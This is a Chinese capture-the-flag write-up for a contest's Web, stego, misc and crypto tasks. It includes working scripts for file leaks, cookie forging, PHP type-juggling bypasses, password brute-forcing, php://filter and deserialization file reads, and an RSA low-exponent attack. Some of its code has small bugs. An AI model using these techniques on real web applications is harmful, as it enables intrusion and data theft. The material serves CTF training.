第四屆“”世安杯“”線上賽題解(Web+Stego+Misc+Crypto)
題目很多原題,但是還是考驗了不少的知識點,就算是原來見過的也當做是複習了一下知識點了。
WEB
ctf入門級題目
非常水的一道題,可以看到原始碼,然後利用%00截斷就可以通過了
曲奇餅
原題,直接利用line和file來洩露檔案內容,通過臊面輕鬆知道存在index.php,然後利用一下得到原始碼審計
#_*_coding:utf-8_*_
import requests
s=requests.session()
file=''
for i in range(19):
url="http://ctf1.shiyanbar.com/shian-quqi/index.php?line=" +str(i)+"&file=aW5kZXgucGhw"
r=s.get(url)
content=r.content
file+=content
print file
得到程式碼如下
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==" );
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
然後知道很簡單在cookie中偽造一下就行了
型別
這個相對繁瑣一些些,但是不難,總之就是需要繞過幾個點,這裡附一下審計程式碼
<?php
show_source(__FILE__);
$a=0;
$b=0;
$c=0;
$d=0;
if (isset($_GET['x1']))
{
$x1 = $_GET['x1'];
$x1=="1"?die("ha?"):NULL;
switch ($x1)
{
case 0:
case 1:
$a=1;
break;
}
}
$x2=(array)json_decode(@$_GET['x2']);
if(is_array($x2)){
is_numeric(@$x2["x21"])?die("ha?"):NULL;
if(@$x2["x21"]){
($x2["x21"]>2017)?$b=1:NULL;
}
if(is_array(@$x2["x22"])){
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");
$p = array_search("XIPU", $x2["x22"]);
$p===false?die("ha?"):NULL;
foreach($x2["x22"] as $key=>$val){
$val==="XIPU"?die("ha?"):NULL;
}
$c=1;
}
}
$x3 = $_GET['x3'];
if ($x3 != '15562') {
if (strstr($x3, 'XIPU')) {
if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) {
$d=1;
}
}
}
if($a && $b && $c && $d){
include "flag.php";
echo $flag;
}
?>
總體我麼你需要做的就是讓x1變數賦值為0、保證x2經過json_decode解密之後是一個存在兩個元素的陣列,然後第一個元素也必須是陣列,第二個陣列需要利用array_search的弱型別匹配繞過,讓內容不存在XIPU,但是可以匹配通過、最後需要爆破一下md5值,我們很巧妙地可以發現substr(md5(‘15562’),8,16))是0e46379442318098,我們可以利用0e科學技術計數法的php弱型別匹配繞過!當然我們需要角門爆破了
x3內容由php指令碼得到
<?php
$i2=array("1"=>"1");
$i1=array(
0=>(array)$l2,
1=>0
);
$a = array(
"x21" => "2018a",
"x22" => (array)$i1
);
$b=json_encode($a);
var_dump(is_array($a));
echo $b;
?>
x4的爆破指令碼由python指令碼得到
import hashlib
for i in xrange(1000000):
s = 'XIPU' + str(i)
mymd5 = hashlib.md5()
mymd5.update(s)
mymd5 = mymd5.hexdigest()
flag = 1
if mymd5[8:10] == '0e':
for j in mymd5[10:24]:
if j.isalpha():
flag = 0
break
if flag == 1:
print s
break
最後就可以了
登入
這個真心沒什麼好說的,原始碼中存在提示說密碼是五位數,然後直接爆破就好了!
爆破程式碼如下
#_*_coding:utf-8_*_
import requests,re,sys
type = sys.getfilesystemencoding()
url = 'http://ctf1.shiyanbar.com/shian-s/'
s=requests.session()
for s1 in range(0,9):
for s2 in range(0,9):
for s3 in range(0,9):
for s4 in range(0,9):
for s5 in range(0,9):
html = s.get(url).content
number=re.findall(r'<br><br>(.*?)<br><br>',html,re.S)
temp = str(s1)+str(s2)+str(s3)+str(s4)+str(s5)
tempurl=url+'index.php?username=admin&password='+str(temp)+'&randcode='+str(number[1])
html = s.get(tempurl).content.decode('utf-8').encode(type)
if '密碼錯誤' not in html:
print html
admin
一道不錯的題目,雖然是原題吧,首先得到程式碼,發現一定是經典的檔案洩露
利用php://input繞過對admin的限制,然後用經典的filter偽協議得到class.php和index.php的原始碼,程式碼貼一下吧
<?php
//index.php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
--!>
---------------------------------------------------
//class.php
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
然後我麼就知道是經典的反序列化問題,一定是想辦法呼叫class.php中的_toString函式,那麼我們只需要這樣就好了(如圖)
注意我們在file變數中呼叫class.php為了觸發,在pass序列化中需要將$file複製成filter偽協議偽裝後語句,為了讀取我們目標的f1ag.php檔案。
然後就解密就行了
low
實驗吧原題,還是非常棒的,利用的是圖片中最低位的奇偶性,最後生成一個圖片,可以得到一個二維碼!直接上程式碼就可以了,很容易懂
#coding:utf-8
import Image
path = '原圖片的位置'
img = Image.open(path)
pix = img.load()
str1 = ''
for i in range(510):
for j in range(613):
if pix[i,j]%2==0:
str1+='1'
else:
str1+='0'
img1 = Image.new("RGB",(510, 613))
k=0
for i in range(510):
for j in range(613):
if str1[k]=='1':
img1.putpixel([i,j],(255,255,255))
else:
img1.putpixel([i,j],(0,0,0))
k+=1
img1.show()
然後掃一下二維碼就好了
斑馬斑馬
這個題目也是原題,但是比較迷啊,這個是斑馬的條紋隱藏了一個條形碼,我用的QQ截圖做的,左後可以得到一個一維碼
然後放到網站上跑就可以得到答案了
注意答案的格式是小寫…坑…
CreateByWho
這個題目是一個拼湊二維碼的…深坑無比….最後用word截圖拼湊出來了二維碼,丟失的三塊是三個正方形黑色圓圈
適合作為桌面圖片
這個題目是stego直接去隨便調下色層就出來了
但是掃碼後得到一些不知名的串,然後放到hexeditor中生成一個新檔案,發現是一個標準的pyc檔案,用easy python compiler得到反彙編後的程式碼,稍加修改得到flag
# Embedded file name: 1.py
def flag():
str = [102,
108,
97,
103,
123,
51,
56,
97,
53,
55,
48,
51,
50,
48,
56,
53,
52,
52,
49,
101,
55,
125]
flag = ''
for i in str:
flag += chr(i)
print flag
flag()
Misc
reverseMe
這個題目腦洞…將所有的hex值倒置一下發現是一個png圖片…然後圖片的左右畫素也是反正得,然後寫一個py指令碼搞定好了
#coding:utf-8
import Image
path = r'C:\reverseMe'
path1 = r'C:\reverseMe1.png'
path2 = r'C:\copy.png'
'''
生成圖片
file = open(path,"rb")
file1 = open(path1,"wb")
num=0
a=[]
while True:
byte = file.read(1)
if byte == '':
break
else:
hexstr = "%s" % byte.encode('hex')
decnum = int(hexstr, 16)
num+=1
a.append(byte)
#file1.write(byte)
#print hexstr, decnum
file.close()
for i in range(len(a)-1,0,-1):
file1.write(a[i])
file1.close()
#print num
'''
'''翻轉'''
img = Image.open(path1)
pix = img.load()
img1 = Image.new("RGB",(800, 100))
for i in range(800):
for j in range(100):
#print pix[i,j]
img1.putpixel([799-i,j],pix[i,j])
img1.show()
img1.save(path2)
然後得到flag圖片
珍妮的qq號
這個…大水題…直接上程式碼
#_*_coding:utf-8_*_
import requests,re,sys,hashlib
for i in range(10000,100000):
j = i* 4
if j>=100000:
break
temp1 = str(i)
temp2 = str(j)
if temp1[0]==temp2[4] and temp1[1]==temp2[3] and temp1[2]==temp2[2] and temp1[3]==temp2[1] and temp1[4]==temp2[0]:
print i,j
#21978 87912
心儀的公司
這個題目看資料包的時候必須在ubuntu的wireshake才能看,然後在審計流量的時候發現下面很多以IP為目地方的資料,審計一下直接發現flag!
Crypto
RSA
看到只是給了n和c的值,而且n遠遠大於c,猜測是經典的低加密指數攻擊,而且猜測e是3,居然成功了,然後我們可以利用經典方法解除d值,程式碼如下
#_*_coding:utf-8_*_
import gmpy,libnum
c=2044619806634581710230401748541393297937319
N=92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
d=126922179506039
i=0
while 1:
if(gmpy.root(c+i*N, 3)[1]==1):
print gmpy.root(c+i*N, 3)
break
i=i+1
然後結果需要將得到的d值轉懲字串即可!程式碼如下
import gmpy,libnum
print libnum.n2s(126922179506039)
最後結果為so_low